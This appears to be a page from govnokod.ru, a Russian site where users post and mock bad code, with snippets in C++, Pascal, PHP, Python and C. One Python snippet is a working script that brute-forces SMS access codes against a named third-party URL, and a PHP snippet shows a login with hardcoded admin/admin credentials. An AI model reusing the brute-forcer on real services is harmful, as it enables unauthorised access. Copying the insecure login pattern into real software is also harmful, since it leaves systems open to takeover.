- 1
while h == h
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−112
while h == h
Делал так раньше, когда не знал про while True
+997
for (int z=NewArray[y-1];z<(NewArray[y]-1);z++)
{
AnsiString ts = IntToStr(z+1);
int inum = -1;
try{
inum = StrToInt(ts);
} catch(...) {}
..... //дальше inum не используется
}
Завис надолго. Так и не понял, зачем автор преобразовывает ts обратно
+1015
GetScreenShot()
{
std::string NameScreen = ToString(GameLevel->EngineName) + "_" + ToString(GTime->GetTimeDays()) + "_" + ToString(GTime->GetTimeHours()) + "_" + ToString(GTime->GetTimeSec()) + ".bmp";
IDirect3DTexture9 *tex;
IDirect3DSurface9 *surf;
D3DVIEWPORT9 vp;
Device->GetViewport(&vp);
if FAILED(Device->CreateTexture(vp.Width, vp.Height, 1, 0, D3DFMT_A8R8G8B8,D3DPOOL_SYSTEMMEM, &tex, NULL ))
Beep(1000,100);
if FAILED(tex->GetSurfaceLevel(0, &surf))
Beep(500,100);
if FAILED(Device->GetFrontBufferData(0, surf))
Beep(200,100);
D3DXSaveSurfaceToFile(ToPointChar(ToString(Pather::CutPath()) + "\\ScreenShots\\" + NameScreen), D3DXIFF_BMP, surf, NULL, NULL);
surf->Release();
tex->Release();
}
http://www.gamedev.ru/code/forum/?id=154941
+106
procedure Tform1.mix;
begin
randomize;
a[1]:=random(16)+1;
btn[1].Caption:=inttostr(a[1]);
begin
repeat
a[2]:=random(16)+1
until
a[2]<>a[1];
btn[2].Caption:=inttostr(a[2]);
begin
repeat
a[3]:=random(16)+1
until
(a[3]<>a[2]) and (a[3]<>a[1]);
btn[3].Caption:=inttostr(a[3]);
begin
repeat
a[4]:=random(16)+1
until
(a[4]<>a[2]) and (a[4]<>a[1]) and (a[4]<>a[3]);
btn[4].Caption:=inttostr(a[4]);
begin
repeat
a[5]:=random(16)+1
until
(a[5]<>a[2]) and (a[5]<>a[1]) and (a[5]<>a[3]) and (a[5]<>a[4]);
btn[5].Caption:=inttostr(a[5]);
begin
repeat
a[6]:=random(16)+1
until
(a[6]<>a[1]) and (a[6]<>a[2]) and (a[6]<>a[3]) and (a[6]<>a[4])
and (a[6]<>a[5]);
btn[6].Caption:=inttostr(a[6]);
begin
repeat
a[7]:=random(16)+1
until
(a[7]<>a[1]) and (a[7]<>a[2]) and (a[7]<>a[3]) and
(a[7]<>a[4]) and (a[7]<>a[5]) and (a[7]<>a[6]);
btn[7].Caption:=inttostr(a[7]);
begin
repeat
a[8]:=random(16)+1
until
(a[8]<>a[1]) and (a[8]<>a[2]) and (a[8]<>a[3]) and
(a[8]<>a[4]) and (a[8]<>a[5]) and (a[8]<>a[6]) and (a[8]<>a[7]);
btn[8].Caption:=inttostr(a[8]);
begin
repeat
a[9]:=random(16)+1
until
(a[9]<>a[1]) and (a[9]<>a[2]) and (a[9]<>a[3]) and (a[9]<>a[4]) and
(a[9]<>a[5]) and (a[9]<>a[6]) and (a[9]<>a[7]) and (a[9]<>a[8]);
btn[9].Caption:=inttostr(a[9]);
...
...
...
begin
repeat
a[14]:=random(16)+1
until
(a[14]<>a[1]) and (a[14]<>a[2]) and (a[14]<>a[3])
and (a[14]<>a[4]) and (a[14]<>a[6]) and
(a[14]<>a[7]) and (a[14]<>a[5]) and (a[14]<>a[9])
and (a[14]<>a[8]) and (a[14]<>a[10]) and
(a[14]<>a[11]) and (a[14]<>a[12]) and (a[14]<>a[13]);
btn[14].Caption:=inttostr(a[14]);
begin
repeat
a[15]:=random(16)+1
until
(a[15]<>a[1]) and (a[15]<>a[2]) and (a[15]<>a[3]) and
(a[15]<>a[4]) and (a[15]<>a[6]) and (a[15]<>a[7]) and
(a[15]<>a[5]) and (a[15]<>a[9]) and (a[15]<>a[8]) and
(a[15]<>a[10]) and (a[15]<>a[11]) and (a[15]<>a[12])
and (a[15]<>a[13]) and (a[15]<>a[14]);
btn[15].Caption:=inttostr(a[15]);
begin
repeat
a[16]:=random(16)+1
until
(a[16]<>a[1]) and (a[16]<>a[2]) and (a[16]<>a[3]) and
(a[16]<>a[4]) and (a[16]<>a[6]) and (a[16]<>a[7]) and
(a[16]<>a[5]) and (a[16]<>a[9]) and (a[16]<>a[8]) and
(a[16]<>a[10]) and (a[16]<>a[11]) and (a[16]<>a[12])
and (a[16]<>a[13]) and (a[16]<>a[14]) and (a[16]<>a[15]);
btn[16].Caption:=inttostr(a[16]);
timer3.Enabled:=true;
end; end; end; end; end; end; end; end; end;
end; end; end; end; end; end; end;
Это у меня однокурсник писал пятнашки(данная процедура заполняет массив неповторяющимися числами от одного пятнадцати), и не лень же ему было...
+158
protected function composeResolvers()
{
require_once systemConfig::$pathToSystem . '/resolver/init.php';
require_once systemConfig::$pathToSystem . '/resolver/templateMediaResolver.php';
require_once systemConfig::$pathToSystem . '/resolver/moduleMediaResolver.php';
require_once systemConfig::$pathToSystem . '/resolver/extensionBasedModuleMediaResolver.php';
require_once systemConfig::$pathToSystem . '/core/fileLoader.php';
$baseresolver = new compositeResolver();
$baseresolver->addResolver(new fileResolver(systemConfig::$pathToApplication . '/*'));
$baseresolver->addResolver(new fileResolver(systemConfig::$pathToWebRoot . '/*'));
$baseresolver->addResolver(new fileResolver(systemConfig::$pathToSystem . '/*'));
$resolver = new compositeResolver();
$resolver->addResolver(new templateMediaResolver($baseresolver));
$resolver->addResolver(new moduleMediaResolver($baseresolver));
$resolver->addResolver(new extensionBasedModuleMediaResolver($baseresolver));
$resolver->addResolver(new classFileResolver($baseresolver));
if (function_exists('external_callback')) {
external_callback($resolver, $baseresolver);
}
return new cachingResolver($resolver, 'resolver_media_cache');
}
Прямиком с http://govnokod.googlecode.com/svn/trunk/govnoquoter/www/bundle.php
Там ещё много всего интересного!
+103
fputs(fopen("ttext.txt", "w+"),"Мега текст!"); # создание файла и запись
fpassthru(fopen("ttext.txt", "w+")); # отображение
copy("ttext.txt", "ttext2.txt"); # копирование
fputs(fopen("ttext2.txt", "w+"), "скопированный Мега текст"); # запись
rename("ttext2.txt", "dctext.txt"); # переименование
fpassthru(fopen("dctext.txt", "w+")); # отображение
unlink("dctext.txt"); # удаление
fclose(fopen("ttext.txt", "w+")); # закрытие
+162
void Processing( void )
{
while ( moreToDo )
{
CData* temp = new CData;
GetData( temp );
ProcessData( temp );
delete temp;
}
}
−154
import urllib
import time
import pygame
filename = u"c:\\python_crack\\404.txt"
filename2 = u"c:\\python_crack\\found.txt"
music_file = "bizwarn.wav"
happy="deeoo.wav"
freq = 44100 # audio CD quality
bitsize = -32 # unsigned 16 bit
channels = 2 # 1 is mono, 2 is stereo
buffer = 1024 # number of samples
pygame.mixer.init(freq, bitsize, channels, buffer)
# optional volume 0 to 1.0
pygame.mixer.music.set_volume(1)
def play_music(music_file):
"""
stream music with mixer.music module in blocking manner
this will stream the sound from disk while playing
"""
clock = pygame.time.Clock()
try:
pygame.mixer.music.load(music_file)
print "Music file %s loaded!" % music_file
except pygame.error:
print "File %s not found! (%s)" % (music_file, pygame.get_error())
return
pygame.mixer.music.play()
while pygame.mixer.music.get_busy():
# check if playback has finished
clock.tick(30)
def urlget(pas):
str_="http://yana.megalinecom.ru/56784/sms/"+pas+"/"
ff=urllib.urlopen(str_)
l=ff.readlines()
ff.close
return l[2]
def save(fn,st):
f=file(fn,'a')
print >> f, st
f.close
for i in range(32500,99999):
time.sleep(0.28)
pasw=str(i)
try:
text = urlget(pasw)
except:
print "Exception!!!!"
i=i-1
save(filename2,pasw+' | ')
play_music(music_file)
time.sleep(60)
nfs='<title>404 Not Found</title>'+'\n'
if text==nfs:
found=0
save(filename, pasw+' | '+text)
else:
found=1
save(filename2,pasw+' | '+text)
play_music(happy)
print pasw+' | '+str(found)
Короче когда-то тупые вэб-мастера присылали спам на сайт знакомств. Такое: Воя я телка, хочешь меня, зайди на сайт такой-то... А хочешь номер телефона отправь СМС и введи код. При вводе случайных кодов, я обнаружил что они тупо пишутся в GET типа ввел 45454 -> www.porno.au/45454/ . Я как истинный ХАКЕР сразу же сел и сделал перебор всех номеров. Получил в файл правильные ключи, но на сайте было написано "Мы на реконструкции" - то-есть лохотрон на лохотроне!
Суть: питон легко писать и быстро, но пробелы достали. Кто сделает оболочку для питона, я буду писать:
def save(fn,st)
{
f=file(fn,'a')
print >> f, st
f.close
}
А прога будет выдавать:
def save(fn,st):
f=file(fn,'a')
print >> f, st
f.close
+174.7
<?php
$user = $HTTP_POST_VARS["user"];
$pas=$HTTP_POST_VARS["pas"];
$user= substr($user, 0, 20);
$user = htmlspecialchars(trim($user));
$pas= substr($pas, 0, 20);
$pas = htmlspecialchars(trim($pas));
$z=substr_count($user,"'");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($pas,"'");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($user,"\\");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($user,"/");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($pas,"//");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($pas,"\\");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
$z=substr_count($pas,"/");
if($z>0) { echo "Поля содержат заприщённые символы <iframe src=ping.php></iframe>"; }
if($user=="admin") {
if($pas=="admin") {
setCookie("pas","admin");
setCookie("user","admin");
echo "Авторизация прошла успешно! <br> Привет 4eef! <br> <a href=adm.php>Перейти в модер панель сечас?</a>";
}
}
else
if($user=="WebKill") {
if($pas=="admin") {
setCookie("pas","admin");
setCookie("user","Webkill");
echo "Авторизация прошла успешно! <br> Привет WebKill! <br> <a href=adm.php>Перейти в модер панель сечас?</a>";
}
if($pas!="admin") {
echo "Неверная пара логин\пароль<BR><iframe src=ping.php></iframe><iframe src=ping.php></iframe><iframe src=ping.php></iframe>";
}
}
else {
echo "Неверная пара логин\пароль<BR><iframe src=ping.php></iframe><iframe src=ping.php></iframe><iframe src=ping.php></iframe>";
}
?>
Еще пример из WebKill. Вход в админку гостевухи. Китайская школа живет и процветает.
0
/* https://github.com/v7unix/v7unix/blob/ed636a47207476db76d53b7869447889dee3bbad/v7/usr/src/cmd/sh/mac.h */
#
/*
* UNIX shell
*
* S. R. Bourne
* Bell Telephone Laboratories
*
*/
#define LOCAL static
#define PROC extern
#define TYPE typedef
#define STRUCT TYPE struct
#define UNION TYPE union
#define REG register
#define IF if(
#define THEN ){
#define ELSE } else {
#define ELIF } else if (
#define FI ;}
#define BEGIN {
#define END }
#define SWITCH switch(
#define IN ){
#define ENDSW }
#define FOR for(
#define WHILE while(
#define DO ){
#define OD ;}
#define REP do{
#define PER }while(
#define DONE );
#define LOOP for(;;){
#define POOL }
#define SKIP ;
#define DIV /
#define REM %
#define NEQ ^
#define ANDF &&
#define ORF ||
#define TRUE (-1)
#define FALSE 0
#define LOBYTE 0377
#define STRIP 0177
#define QUOTE 0200
#define EOF 0
#define NL '\n'
#define SP ' '
#define LQ '`'
#define RQ '\''
#define MINUS '-'
#define COLON ':'
#define MAX(a,b) ((a)>(b)?(a):(b))